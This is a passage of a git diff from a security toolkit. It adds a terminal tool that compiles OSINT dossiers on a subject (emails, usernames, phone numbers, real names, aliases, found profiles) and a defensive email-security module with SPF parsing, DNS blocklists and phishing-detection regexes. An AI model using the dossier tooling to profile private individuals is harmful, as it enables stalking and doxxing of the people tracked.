self.current_dossier_path = dossier_path + + # Ask if user wants to open it + open_now = input(f"\n{Colors.WHITE}Open dossier now? [{Colors.GREEN}y{Colors.WHITE}/{Colors.RED}n{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if open_now == 'y': + self.view_dossier_detail(dossier, dossier_path) + + def view_dossiers_list(self): + """Display list of saved dossiers.""" + print(f"\n{Colors.BOLD}Saved Dossiers{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + dossiers = self.list_dossiers() + + if not dossiers: + self.print_status("No dossiers found. Create one with 'Start New'.", "warning") + return + + for i, d in enumerate(dossiers, 1): + created = d.get("created", "")[:10] if d.get("created") else "Unknown" + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {d['name']}") + print(f" {Colors.DIM}Subject: {d.get('subject') or 'N/A'}{Colors.RESET}") + print(f" {Colors.DIM}Created: {created} | Profiles: {d['profiles_count']} | Identifiers: {d['identifiers_count']}{Colors.RESET}") + print() + + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE}Select dossier to view: {Colors.RESET}").strip() + + if choice == "0" or not choice: + return + + try: + idx = int(choice) - 1 + if 0 <= idx < len(dossiers): + selected = dossiers[idx] + dossier = self.load_dossier(selected["path"]) + if dossier: + self.view_dossier_detail(dossier, selected["path"]) + except ValueError: + self.print_status("Invalid selection", "error") + + def view_dossier_detail(self, dossier: Dict, dossier_path: Path): + """View and manage a specific dossier.""" + self.current_dossier = dossier + self.current_dossier_path = dossier_path + + while True: + clear_screen() + display_banner() + + meta = dossier.get("meta", {}) + identifiers = dossier.get("identifiers", {}) + results = dossier.get("results", {}) + profiles = dossier.get("profiles", []) + + print(f"{Colors.MAGENTA}{Colors.BOLD} Dossier: {meta.get('name', 'Unknown')}{Colors.RESET}") + print(f"{Colors.DIM} Subject: {meta.get('subject') or 'N/A'}{Colors.RESET}") + print(f"{Colors.DIM} Created: {meta.get('created', '')[:19]}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Summary stats + total_identifiers = sum(len(v) for v in identifiers.values()) + total_searches = sum(len(v) for v in results.values()) + + print(f" {Colors.CYAN}Summary:{Colors.RESET}") + print(f" Identifiers: {total_identifiers}") + print(f" Searches: {total_searches}") + print(f" Profiles: {len(profiles)}") + print() + + # Menu + print(f" {Colors.GREEN}View{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} View Identifiers") + print(f" {Colors.GREEN}[2]{Colors.RESET} View Search Results") + print(f" {Colors.GREEN}[3]{Colors.RESET} View Profiles") + print(f" {Colors.GREEN}[4]{Colors.RESET} View Notes") + print() + print(f" {Colors.CYAN}Add{Colors.RESET}") + print(f" {Colors.CYAN}[5]{Colors.RESET} Add Identifier") + print(f" {Colors.CYAN}[6]{Colors.RESET} Import Search Results") + print(f" {Colors.CYAN}[7]{Colors.RESET} Add Profile Manually") + print(f" {Colors.CYAN}[8]{Colors.RESET} Add Note") + print() + print(f" {Colors.YELLOW}Manage{Colors.RESET}") + print(f" {Colors.YELLOW}[E]{Colors.RESET} Edit Dossier Info") + print(f" {Colors.YELLOW}[X]{Colors.RESET} Export Dossier") + print(f" {Colors.RED}[D]{Colors.RESET} Delete Dossier") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0": + break + elif choice == "1": + self._view_identifiers(dossier) + elif choice == "2": + self._view_search_results(dossier) + elif choice == "3": + self._view_profiles(dossier) + elif choice == "4": + self._view_notes(dossier) + elif choice == "5": + self._add_identifier(dossier, dossier_path) + elif choice == "6": + self._import_search_results(dossier, dossier_path) + elif choice == "7": + self._add_profile_manually(dossier, dossier_path) + elif choice == "8": + self._add_note(dossier, dossier_path) + elif choice == "e": + self._edit_dossier_info(dossier, dossier_path) + elif choice == "x": + self._export_dossier(dossier) + elif choice == "d": + if self._delete_dossier(dossier_path): + break + + def _view_identifiers(self, dossier: Dict): + """View all identifiers in dossier.""" + print(f"\n{Colors.BOLD}Identifiers{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + identifiers = dossier.get("identifiers", {}) + + for id_type, values in identifiers.items(): + if values: + print(f" {Colors.CYAN}{id_type.replace('_', ' ').title()}:{Colors.RESET}") + for v in values: + print(f" - {v}") + print() + + if not any(identifiers.values()): + print(f" {Colors.DIM}No identifiers added yet.{Colors.RESET}\n") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_search_results(self, dossier: Dict): + """View search results summary.""" + print(f"\n{Colors.BOLD}Search Results{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + results = dossier.get("results", {}) + + # Email searches + email_searches = results.get("email_searches", []) + if email_searches: + print(f" {Colors.CYAN}Email Searches ({len(email_searches)}):{Colors.RESET}") + for search in email_searches: + print(f" - {search.get('email', 'N/A')} ({search.get('date', '')[:10]})") + print() + + # Username searches + username_searches = results.get("username_searches", []) + if username_searches: + print(f" {Colors.CYAN}Username Searches ({len(username_searches)}):{Colors.RESET}") + for search in username_searches: + found_count = len(search.get("found", [])) + print(f" - {search.get('username', 'N/A')}: {found_count} profiles found ({search.get('date', '')[:10]})") + print() + + # Phone searches + phone_searches = results.get("phone_searches", []) + if phone_searches: + print(f" {Colors.CYAN}Phone Searches ({len(phone_searches)}):{Colors.RESET}") + for search in phone_searches: + print(f" - {search.get('phone', 'N/A')} ({search.get('date', '')[:10]})") + print() + + if not any([email_searches, username_searches, phone_searches]): + print(f" {Colors.DIM}No search results imported yet.{Colors.RESET}\n") + + # Option to view details + if username_searches: + view = input(f"\n{Colors.WHITE}View username search details? [{Colors.GREEN}y{Colors.WHITE}/{Colors.RED}n{Colors.WHITE}]: {Colors.RESET}").strip().lower() + if view == 'y': + self._view_username_search_details(username_searches) + else: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_username_search_details(self, username_searches: List[Dict]): + """View detailed username search results.""" + print(f"\n{Colors.BOLD}Username Search Details{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + for i, search in enumerate(username_searches, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {search.get('username', 'N/A')}") + + choice = input(f"\n{Colors.WHITE}Select search to view (0 to cancel): {Colors.RESET}").strip() + + try: + idx = int(choice) - 1 + if 0 <= idx < len(username_searches): + search = username_searches[idx] + print(f"\n{Colors.BOLD}Results for '{search.get('username', 'N/A')}'{Colors.RESET}") + print(f"{Colors.DIM}Date: {search.get('date', 'N/A')}{Colors.RESET}") + print(f"{Colors.DIM}Total checked: {search.get('total_checked', 'N/A')}{Colors.RESET}\n") + + for profile in search.get("found", []): + status_color = Colors.GREEN if profile.get("status") == "good" else Colors.YELLOW + print(f" {status_color}[+]{Colors.RESET} {profile.get('name', 'Unknown')}") + print(f" {Colors.DIM}{profile.get('url', 'N/A')}{Colors.RESET}") + if profile.get("rate"): + print(f" {Colors.DIM}Rate: {profile.get('rate')}{Colors.RESET}") + print() + except (ValueError, IndexError): + pass + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_profiles(self, dossier: Dict): + """View all collected profiles.""" + print(f"\n{Colors.BOLD}Profiles{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + profiles = dossier.get("profiles", []) + + if not profiles: + print(f" {Colors.DIM}No profiles collected yet.{Colors.RESET}\n") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Group by category + by_category = {} + for p in profiles: + cat = p.get("category", "other") + if cat not in by_category: + by_category[cat] = [] + by_category[cat].append(p) + + for category, cat_profiles in sorted(by_category.items()): + print(f" {Colors.CYAN}{category.title()} ({len(cat_profiles)}):{Colors.RESET}") + for p in cat_profiles: + status_color = Colors.GREEN if p.get("status") == "good" else Colors.YELLOW + print(f" {status_color}[+]{Colors.RESET} {p.get('name', 'Unknown')}") + print(f" {Colors.DIM}{p.get('url', 'N/A')}{Colors.RESET}") + print() + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _view_notes(self, dossier: Dict): + """View dossier notes.""" + print(f"\n{Colors.BOLD}Notes{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + # Main notes + main_notes = dossier.get("meta", {}).get("notes", "") + if main_notes: + print(f" {Colors.CYAN}Main Notes:{Colors.RESET}") + print(f" {main_notes}") + print() + + # Custom notes + custom_notes = dossier.get("custom_notes", []) + if custom_notes: + print(f" {Colors.CYAN}Additional Notes:{Colors.RESET}") + for note in custom_notes: + print(f" [{note.get('date', '')[:10]}] {note.get('text', '')}") + print() + + if not main_notes and not custom_notes: + print(f" {Colors.DIM}No notes added yet.{Colors.RESET}\n") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _add_identifier(self, dossier: Dict, dossier_path: Path): + """Add an identifier to dossier.""" + print(f"\n{Colors.BOLD}Add Identifier{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Email") + print(f" {Colors.GREEN}[2]{Colors.RESET} Username") + print(f" {Colors.GREEN}[3]{Colors.RESET} Phone") + print(f" {Colors.GREEN}[4]{Colors.RESET} Real Name") + print(f" {Colors.GREEN}[5]{Colors.RESET} Alias") + print() + + choice = input(f"{Colors.WHITE}Select type: {Colors.RESET}").strip() + + type_map = {"1": "emails", "2": "usernames", "3": "phones", "4": "real_names", "5": "aliases"} + + if choice not in type_map: + return + + id_type = type_map[choice] + value = input(f"{Colors.WHITE}Enter value: {Colors.RESET}").strip() + + if value: + if "identifiers" not in dossier: + dossier["identifiers"] = {} + if id_type not in dossier["identifiers"]: + dossier["identifiers"][id_type] = [] + + if value not in dossier["identifiers"][id_type]: + dossier["identifiers"][id_type].append(value) + self.save_dossier(dossier, dossier_path) + self.print_status(f"Added {id_type[:-1]}: {value}", "success") + else: + self.print_status("Identifier already exists", "warning") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _import_search_results(self, dossier: Dict, dossier_path: Path): + """Import search results from JSON files.""" + print(f"\n{Colors.BOLD}Import Search Results{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f" {Colors.GREEN}[1]{Colors.RESET} Import username search results (JSON)") + print(f" {Colors.GREEN}[2]{Colors.RESET} Import from file path") + print(f" {Colors.GREEN}[3]{Colors.RESET} Scan current directory for results") + print() + + choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + + if choice == "1" or choice == "2": + file_path = input(f"{Colors.WHITE}Enter JSON file path: {Colors.RESET}").strip() + if file_path and os.path.exists(file_path): + self._import_from_file(dossier, dossier_path, file_path) + else: + self.print_status("File not found", "error") + + elif choice == "3": + # Scan for *_profiles.json files + json_files = glob.glob("*_profiles.json") + if not json_files: + self.print_status("No *_profiles.json files found in current directory", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n {Colors.CYAN}Found files:{Colors.RESET}") + for i, f in enumerate(json_files, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {f}") + print() + + file_choice = input(f"{Colors.WHITE}Select file to import (0 to cancel): {Colors.RESET}").strip() + try: + idx = int(file_choice) - 1 + if 0 <= idx < len(json_files): + self._import_from_file(dossier, dossier_path, json_files[idx]) + except ValueError: + pass + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _import_from_file(self, dossier: Dict, dossier_path: Path, file_path: str): + """Import data from a specific file.""" + try: + with open(file_path, 'r') as f: + data = json.load(f) + + # Detect file type and import + if "username" in data and "found" in data: + # Username search results + username = data.get("username", "unknown") + found = data.get("found", []) + total_checked = data.get("total_checked", 0) + + # Add to results + if "results" not in dossier: + dossier["results"] = {} + if "username_searches" not in dossier["results"]: + dossier["results"]["username_searches"] = [] + + search_entry = { + "username": username, + "date": datetime.now().isoformat(), + "total_checked": total_checked, + "found": found, + "source_file": file_path, + } + dossier["results"]["username_searches"].append(search_entry) + + # Also add username to identifiers if not present + if username not in dossier.get("identifiers", {}).get("usernames", []): + if "identifiers" not in dossier: + dossier["identifiers"] = {} + if "usernames" not in dossier["identifiers"]: + dossier["identifiers"]["usernames"] = [] + dossier["identifiers"]["usernames"].append(username) + + # Add found profiles to main profiles list + if "profiles" not in dossier: + dossier["profiles"] = [] + + added_profiles = 0 + for profile in found: + # Check if profile URL already exists + existing_urls = [p.get("url") for p in dossier["profiles"]] + if profile.get("url") not in existing_urls: + dossier["profiles"].append(profile) + added_profiles += 1 + + self.save_dossier(dossier, dossier_path) + self.print_status(f"Imported: {username} ({len(found)} profiles, {added_profiles} new)", "success") + + else: + self.print_status("Unknown file format", "error") + + except json.JSONDecodeError: + self.print_status("Invalid JSON file", "error") + except Exception as e: + self.print_status(f"Import failed: {e}", "error") + + def _add_profile_manually(self, dossier: Dict, dossier_path: Path): + """Manually add a profile.""" + print(f"\n{Colors.BOLD}Add Profile Manually{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + name = input(f"{Colors.WHITE}Site/platform name: {Colors.RESET}").strip() + url = input(f"{Colors.WHITE}Profile URL: {Colors.RESET}").strip() + category = input(f"{Colors.WHITE}Category (social/forum/other): {Colors.RESET}").strip() or "other" + notes = input(f"{Colors.WHITE}Notes (optional): {Colors.RESET}").strip() + + if name and url: + profile = { + "name": name, + "url": url, + "category": category, + "status": "manual", + "rate": "100%", + "notes": notes, + "added": datetime.now().isoformat(), + } + + if "profiles" not in dossier: + dossier["profiles"] = [] + + dossier["profiles"].append(profile) + self.save_dossier(dossier, dossier_path) + self.print_status(f"Added profile: {name}", "success") + else: + self.print_status("Name and URL are required", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _add_note(self, dossier: Dict, dossier_path: Path): + """Add a note to dossier.""" + print(f"\n{Colors.BOLD}Add Note{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + note_text = input(f"{Colors.WHITE}Enter note: {Colors.RESET}").strip() + + if note_text: + if "custom_notes" not in dossier: + dossier["custom_notes"] = [] + + dossier["custom_notes"].append({ + "date": datetime.now().isoformat(), + "text": note_text, + }) + + self.save_dossier(dossier, dossier_path) + self.print_status("Note added", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _edit_dossier_info(self, dossier: Dict, dossier_path: Path): + """Edit dossier metadata.""" + print(f"\n{Colors.BOLD}Edit Dossier Info{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + meta = dossier.get("meta", {}) + + print(f" Current name: {meta.get('name', '')}") + new_name = input(f"{Colors.WHITE}New name (Enter to keep): {Colors.RESET}").strip() + if new_name: + dossier["meta"]["name"] = new_name + + print(f" Current subject: {meta.get('subject', '')}") + new_subject = input(f"{Colors.WHITE}New subject (Enter to keep): {Colors.RESET}").strip() + if new_subject: + dossier["meta"]["subject"] = new_subject + + print(f" Current notes: {meta.get('notes', '')}") + new_notes = input(f"{Colors.WHITE}New notes (Enter to keep): {Colors.RESET}").strip() + if new_notes: + dossier["meta"]["notes"] = new_notes + + self.save_dossier(dossier, dossier_path) + self.print_status("Dossier info updated", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _export_dossier(self, dossier: Dict): + """Export dossier to various formats.""" + print(f"\n{Colors.BOLD}Export Dossier{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + name = dossier.get("meta", {}).get("name", "dossier") + safe_name = "".join(c if c.isalnum() or c in "-_" else "_" for c in name.lower()) + + print(f" {Colors.GREEN}[1]{Colors.RESET} Export as JSON") + print(f" {Colors.GREEN}[2]{Colors.RESET} Export as Text Report") + print() + + choice = input(f"{Colors.WHITE}Select format: {Colors.RESET}").strip() + + if choice == "1": + filename = f"{safe_name}_export.json" + with open(filename, 'w') as f: + json.dump(dossier, f, indent=2) + self.print_status(f"Exported to {filename}", "success") + + elif choice == "2": + filename = f"{safe_name}_report.txt" + self._export_text_report(dossier, filename) + self.print_status(f"Exported to {filename}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _export_text_report(self, dossier: Dict, filename: str): + """Export dossier as text report.""" + meta = dossier.get("meta", {}) + identifiers = dossier.get("identifiers", {}) + profiles = dossier.get("profiles", []) + + lines = [ + "=" * 60, + f"AUTARCH DOSSIER REPORT", + "=" * 60, + "", + f"Name: {meta.get('name', 'N/A')}", + f"Subject: {meta.get('subject', 'N/A')}", + f"Created: {meta.get('created', 'N/A')}", + f"Modified: {meta.get('modified', 'N/A')}", + "", + "-" * 60, + "IDENTIFIERS", + "-" * 60, + ] + + for id_type, values in identifiers.items(): + if values: + lines.append(f"\n{id_type.replace('_', ' ').title()}:") + for v in values: + lines.append(f" - {v}") + + lines.extend([ + "", + "-" * 60, + f"PROFILES ({len(profiles)})", + "-" * 60, + ]) + + for p in profiles: + lines.append(f"\n[{p.get('category', 'other')}] {p.get('name', 'Unknown')}") + lines.append(f" URL: {p.get('url', 'N/A')}") + if p.get('status'): + lines.append(f" Status: {p.get('status')} ({p.get('rate', 'N/A')})") + + # Notes + notes = dossier.get("custom_notes", []) + if notes or meta.get("notes"): + lines.extend([ + "", + "-" * 60, + "NOTES", + "-" * 60, + ]) + if meta.get("notes"): + lines.append(f"\n{meta.get('notes')}") + for note in notes: + lines.append(f"\n[{note.get('date', '')[:10]}] {note.get('text', '')}") + + lines.extend([ + "", + "=" * 60, + "Generated by AUTARCH - darkHal Security Group", + "=" * 60, + ]) + + with open(filename, 'w') as f: + f.write("\n".join(lines)) + + def _delete_dossier(self, dossier_path: Path) -> bool: + """Delete a dossier.""" + confirm = input(f"\n{Colors.RED}Are you sure you want to delete this dossier? [{Colors.WHITE}yes{Colors.RED}/{Colors.WHITE}no{Colors.RED}]: {Colors.RESET}").strip().lower() + + if confirm == "yes": + try: + os.remove(dossier_path) + self.print_status("Dossier deleted", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return True + except Exception as e: + self.print_status(f"Failed to delete: {e}", "error") + + return False + + # ==================== MAIN MENU ==================== + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.MAGENTA}{Colors.BOLD} Dossier Manager{Colors.RESET}") + print(f"{Colors.DIM} Manage OSINT investigation dossiers{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show stats + dossiers = self.list_dossiers() + print(f" {Colors.DIM}Saved dossiers: {len(dossiers)}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Start New Dossier") + print(f" {Colors.GREEN}[2]{Colors.RESET} View Dossiers") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.create_new_dossier() + elif choice == "2": + self.view_dossiers_list() + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + DossierManager().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/email_sec.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/email_sec.py new file mode 100644 index 0000000..27e09d2 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/email_sec.py @@ -0,0 +1,1590 @@ +"""AUTARCH Email Security + +DMARC/SPF/DKIM analysis, email header forensics, phishing detection, +mailbox search, and abuse report generation for email security assessment. +""" + +DESCRIPTION = "Email security — DMARC, SPF, header forensics" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import sys +import json +import ssl +import time +import socket +import struct +import hashlib +import imaplib +import poplib +import email +import email.header +import email.utils +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any, Tuple +from urllib.parse import urlparse +import subprocess + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +sys.path.insert(0, str(Path(__file__).parent.parent)) +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + RED = BLUE = GREEN = YELLOW = CYAN = WHITE = DIM = RESET = '' + def clear_screen(): pass + def display_banner(): pass + + +# -- Constants --------------------------------------------------------------- + +COMMON_DKIM_SELECTORS = [ + 'default', 'google', 'selector1', 'selector2', 'k1', 'k2', + 'dkim', 'mail', 's1', 's2', 'smtp', 'mandrill', 'everlytickey1', + 'everlytickey2', 'sig1', 'mxvault', 'a1', 'a2', 'cm', 'pm', + 'protonmail', 'protonmail2', 'protonmail3', +] + +BLACKLISTS = [ + 'zen.spamhaus.org', + 'bl.spamcop.net', + 'b.barracudacentral.org', + 'dnsbl.sorbs.net', + 'spam.dnsbl.sorbs.net', + 'dul.dnsbl.sorbs.net', + 'cbl.abuseat.org', + 'dnsbl-1.uceprotect.net', + 'psbl.surriel.com', + 'all.s5h.net', + 'rbl.interserver.net', + 'dnsbl.dronebl.org', + 'db.wpbl.info', + 'bl.mailspike.net', + 'truncate.gbudb.net', +] + +PHISHING_INDICATORS = { + 'urgency_words': { + 'patterns': [ + r'\b(urgent|immediate|action\s+required|act\s+now|expires?\s+today)\b', + r'\b(suspended|disabled|locked|compromised|unauthorized)\b', + r'\b(verify\s+your|confirm\s+your|update\s+your|validate)\b', + r'\b(within\s+24\s+hours|limited\s+time|final\s+notice|last\s+chance)\b', + ], + 'weight': 15, + }, + 'suspicious_urls': { + 'patterns': [ + r'https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', # IP-based URLs + r'https?://[^/]*\.(tk|ml|ga|cf|gq|xyz|top|buzz|club|work|click)\b', # suspicious TLDs + r'https?://bit\.ly|tinyurl\.com|goo\.gl|t\.co|is\.gd|shorte\.st', # shorteners + ], + 'weight': 25, + }, + 'brand_impersonation': { + 'patterns': [ + r'\b(paypal|apple|microsoft|google|amazon|facebook|netflix|bank)\b', + ], + 'weight': 10, + }, + 'dangerous_attachments': { + 'patterns': [ + r'\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll)\b', + r'\.(doc|xls|ppt)m\b', # macro-enabled Office + r'\.iso\b|\.img\b|\.hta\b', + ], + 'weight': 30, + }, + 'encoding_tricks': { + 'patterns': [ + r'xn--', # punycode + r'&#\d+;', # HTML entities numeric + r'&#x[0-9a-f]+;', # HTML entities hex + r'=\?[^?]*\?B\?', # Base64 encoded headers + ], + 'weight': 20, + }, +} + +URL_SHORTENER_DOMAINS = { + 'bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'is.gd', 'shorte.st', + 'ow.ly', 'buff.ly', 'rebrand.ly', 'cutt.ly', 'tiny.cc', 'lnkd.in', + 'rb.gy', 'v.gd', 'qr.ae', 'bl.ink', +} + +SUSPICIOUS_TLDS = { + '.tk', '.ml', '.ga', '.cf', '.gq', '.xyz', '.top', '.buzz', + '.club', '.work', '.click', '.link', '.info', '.biz', '.stream', + '.download', '.win', '.racing', '.review', '.country', '.science', +} + + +# -- Helper ------------------------------------------------------------------ + +def _dns_query(name: str, record_type: str = 'TXT', timeout: int = 5) -> List[str]: + """Query DNS records using nslookup subprocess fallback.""" + results = [] + try: + if record_type == 'TXT': + # Try socket-based approach first for basic lookups + try: + answers = socket.getaddrinfo(name, None) + # socket.getaddrinfo doesn't return TXT — fall through + except Exception: + pass + + # Use nslookup as cross-platform fallback + cmd = ['nslookup', '-type=' + record_type, name] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + output = proc.stdout + proc.stderr + + # Parse TXT records from nslookup output + for line in output.split('\n'): + line = line.strip() + if '=' in line and 'text' in line.lower(): + # Format: text = "v=spf1 ..." + txt = line.split('=', 1)[1].strip().strip('"') + results.append(txt) + elif line.startswith('"') and line.endswith('"'): + results.append(line.strip('"')) + elif 'v=spf1' in line or 'v=DMARC1' in line or 'v=DKIM1' in line: + # Sometimes the record is on the line itself + match = re.search(r'"([^"]+)"', line) + if match: + results.append(match.group(1)) + elif 'v=' in line: + # Grab from v= onward + idx = line.index('v=') + results.append(line[idx:].strip().strip('"')) + + elif record_type == 'MX': + cmd = ['nslookup', '-type=MX', name] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + output = proc.stdout + + for line in output.split('\n'): + line = line.strip() + # "mail exchanger = 10 mx1.example.com." + mx_match = re.search(r'mail exchanger\s*=\s*(\d+)\s+(\S+)', line, re.I) + if mx_match: + priority = int(mx_match.group(1)) + host = mx_match.group(2).rstrip('.') + results.append(f"{priority} {host}") + # Also handle "MX preference = 10, mail exchanger = ..." + mx_match2 = re.search(r'preference\s*=\s*(\d+).*exchanger\s*=\s*(\S+)', line, re.I) + if mx_match2: + priority = int(mx_match2.group(1)) + host = mx_match2.group(2).rstrip('.') + results.append(f"{priority} {host}") + + elif record_type in ('A', 'AAAA'): + cmd = ['nslookup', '-type=' + record_type, name] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + output = proc.stdout + + for line in output.split('\n'): + line = line.strip() + addr_match = re.search(r'Address:\s*(\S+)', line) + if addr_match: + addr = addr_match.group(1) + # Skip the DNS server address (first one, usually has #53) + if '#' not in addr and addr != name: + results.append(addr) + + except subprocess.TimeoutExpired: + pass + except FileNotFoundError: + pass + except Exception: + pass + + return results + + +def _reverse_ip(ip: str) -> str: + """Reverse an IPv4 address for DNSBL lookup.""" + parts = ip.split('.') + parts.reverse() + return '.'.join(parts) + + +def _is_valid_ip(s: str) -> bool: + """Check if string is a valid IPv4 address.""" + try: + socket.inet_aton(s) + return True + except (socket.error, OSError): + return False + + +def _resolve_domain(domain: str) -> Optional[str]: + """Resolve a domain to an IPv4 address.""" + try: + return socket.gethostbyname(domain) + except (socket.gaierror, socket.herror): + return None + + +# -- EmailSecurity class ----------------------------------------------------- + +class EmailSecurity: + """Email security analysis engine.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() + if isinstance(data_dir, str): + data_dir = Path(data_dir) + self.storage_dir = data_dir / 'email_sec' + self.storage_dir.mkdir(parents=True, exist_ok=True) + self._cache = {} + self._cache_ttl = 300 # 5 minutes + + # -- DNS helper ---------------------------------------------------------- + + def get_dns_record(self, domain: str, record_type: str = 'TXT') -> List[str]: + """Query DNS records for a domain.""" + cache_key = f"{record_type}:{domain}" + cached = self._cache.get(cache_key) + if cached and time.time() - cached['ts'] < self._cache_ttl: + return cached['data'] + + results = _dns_query(domain, record_type) + self._cache[cache_key] = {'data': results, 'ts': time.time()} + return results + + # -- SPF ----------------------------------------------------------------- + + def check_spf(self, domain: str) -> Dict[str, Any]: + """Parse and analyze the SPF record for a domain.""" + records = self.get_dns_record(domain, 'TXT') + spf_record = None + for rec in records: + if rec.strip().startswith('v=spf1'): + spf_record = rec.strip() + break + + result = { + 'domain': domain, + 'found': spf_record is not None, + 'record': spf_record or '', + 'mechanisms': [], + 'qualifiers': {}, + 'includes': [], + 'all_policy': 'missing', + 'dns_lookups': 0, + 'findings': [], + 'status': 'fail', + } + + if not spf_record: + result['findings'].append({'level': 'fail', 'message': 'No SPF record found'}) + return result + + # Parse mechanisms + parts = spf_record.split() + lookup_count = 0 + + for part in parts[1:]: # skip v=spf1 + qualifier = '+' + mechanism = part + + if part[0] in '+-~?': + qualifier = part[0] + mechanism = part[1:] + + if mechanism.startswith('ip4:') or mechanism.startswith('ip6:'): + mtype = 'ip4' if mechanism.startswith('ip4:') else 'ip6' + value = mechanism.split(':', 1)[1] + result['mechanisms'].append({'type': mtype, 'value': value, 'qualifier': qualifier}) + elif mechanism.startswith('include:'): + include_domain = mechanism.split(':', 1)[1] + result['includes'].append(include_domain) + result['mechanisms'].append({'type': 'include', 'value': include_domain, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('a:') or mechanism == 'a': + value = mechanism.split(':', 1)[1] if ':' in mechanism else domain + result['mechanisms'].append({'type': 'a', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('mx:') or mechanism == 'mx': + value = mechanism.split(':', 1)[1] if ':' in mechanism else domain + result['mechanisms'].append({'type': 'mx', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('ptr'): + result['mechanisms'].append({'type': 'ptr', 'value': mechanism, 'qualifier': qualifier}) + lookup_count += 1 + result['findings'].append({'level': 'warn', 'message': 'PTR mechanism is deprecated (RFC 7208)'}) + elif mechanism.startswith('exists:'): + value = mechanism.split(':', 1)[1] + result['mechanisms'].append({'type': 'exists', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism.startswith('redirect='): + value = mechanism.split('=', 1)[1] + result['mechanisms'].append({'type': 'redirect', 'value': value, 'qualifier': qualifier}) + lookup_count += 1 + elif mechanism == 'all': + result['all_policy'] = qualifier + qualifier_names = {'+': 'pass', '-': 'hardfail', '~': 'softfail', '?': 'neutral'} + result['mechanisms'].append({'type': 'all', 'value': 'all', 'qualifier': qualifier}) + result['qualifiers']['all'] = qualifier_names.get(qualifier, qualifier) + + result['dns_lookups'] = lookup_count + + # Analyze findings + if result['all_policy'] == '-': + result['findings'].append({'level': 'pass', 'message': 'SPF uses hardfail (-all) — recommended'}) + result['status'] = 'pass' + elif result['all_policy'] == '~': + result['findings'].append({'level': 'warn', 'message': 'SPF uses softfail (~all) — hardfail 